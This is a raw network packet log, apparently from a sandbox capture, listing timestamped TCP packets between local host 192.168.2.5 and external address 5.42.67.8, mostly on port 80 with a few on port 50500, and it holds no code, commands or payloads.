Jun 27, 2024 06:44:23.258054018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258068085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258080959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258095026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258099079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258099079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258111000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258126974 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258147955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258157969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258157969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258162975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258177996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258192062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258200884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258200884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258200884 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258259058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258415937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258438110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258454084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258455992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258467913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258479118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258482933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258492947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258497000 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258511066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258524895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258539915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258542061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258542061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258543015 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258553982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258568048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258569956 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258582115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258595943 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258641005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258641005 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258673906 CEST	49723	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258685112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258784056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258851051 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258866072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258879900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258894920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258898020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258909941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258929014 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258943081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258943081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258943081 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258956909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258970976 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258986950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.258994102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.258994102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.259001017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.259021997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.259048939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342377901 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342405081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342417955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342463970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342463970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342463970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342470884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342483044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342494011 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342504978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342509031 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342510939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342540026 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342551947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342556000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342556000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342556000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342577934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342583895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342587948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342597961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342608929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342617989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342655897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342811108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342860937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342869997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342892885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342892885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342896938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342907906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342911959 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342920065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.342976093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.342976093 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343031883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343048096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343089104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343089104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343092918 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343190908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343213081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343226910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343238115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343247890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343257904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343267918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343267918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343271017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343282938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343301058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343323946 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343338966 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343728065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343774080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343784094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.343795061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343807936 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343822956 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.343947887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344046116 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344072104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344094038 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344104052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344130993 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344130993 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344150066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344186068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344197035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344206095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344217062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344249010 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344249010 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344270945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344310999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344321966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344333887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344378948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344378948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344388008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344398022 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344407082 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344419003 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344453096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344453096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344469070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344572067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344583988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344593048 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344604015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344614029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344625950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344644070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344644070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344644070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344665051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344739914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344757080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344767094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344777107 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344783068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344788074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344803095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344814062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344819069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344819069 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344824076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344835043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344845057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344856024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.344871998 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344871998 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344882965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.344918013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345043898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345051050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345052958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345057964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345087051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345108986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345120907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345120907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345132113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345141888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345150948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345160961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345169067 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345169067 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345170975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345197916 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345197916 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345376968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345387936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345397949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345407963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345418930 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345428944 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345439911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345444918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345444918 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345449924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345463037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345467091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345482111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345504999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345761061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345777988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345788002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345798016 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345809937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345812082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345820904 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345829964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345830917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345840931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345849991 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345851898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345861912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345871925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345881939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345892906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345894098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345894098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345894098 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345904112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345913887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345925093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.345941067 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.345942020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.346059084 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.346124887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346142054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346158981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346164942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346170902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346177101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346182108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.346182108 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.346183062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346189022 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346194029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346199989 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346209049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.346225977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.346225977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.346263885 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429158926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429172039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429189920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429200888 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429212093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429229975 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429267883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429280043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429282904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429291010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429302931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429312944 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429313898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429327011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429398060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429405928 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429416895 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429428101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429436922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:23.429461002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429461002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:23.429502010 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:24.940109968 CEST	49706	50500	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:24.940156937 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.022325993 CEST	50500	49706	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.022344112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.205220938 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.205373049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.205874920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.210692883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.393631935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.393671989 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.393728018 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.393822908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.393878937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.393882990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.393913984 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.393918991 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.393982887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394016027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394023895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394025087 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394049883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394056082 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394088030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394099951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394133091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394180059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394181967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394180059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394216061 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394248962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394273996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394298077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394330025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394342899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394362926 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394370079 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394412994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394462109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394465923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394494057 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394526005 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394541979 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394558907 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394558907 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394607067 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394643068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394675970 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394694090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394694090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394709110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394742966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394746065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394746065 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394759893 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394774914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394808054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394824028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394840956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394871950 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394884109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394908905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.394932985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.394967079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395004034 CEST	80	49719	5.42.67.8	192.168.2.5
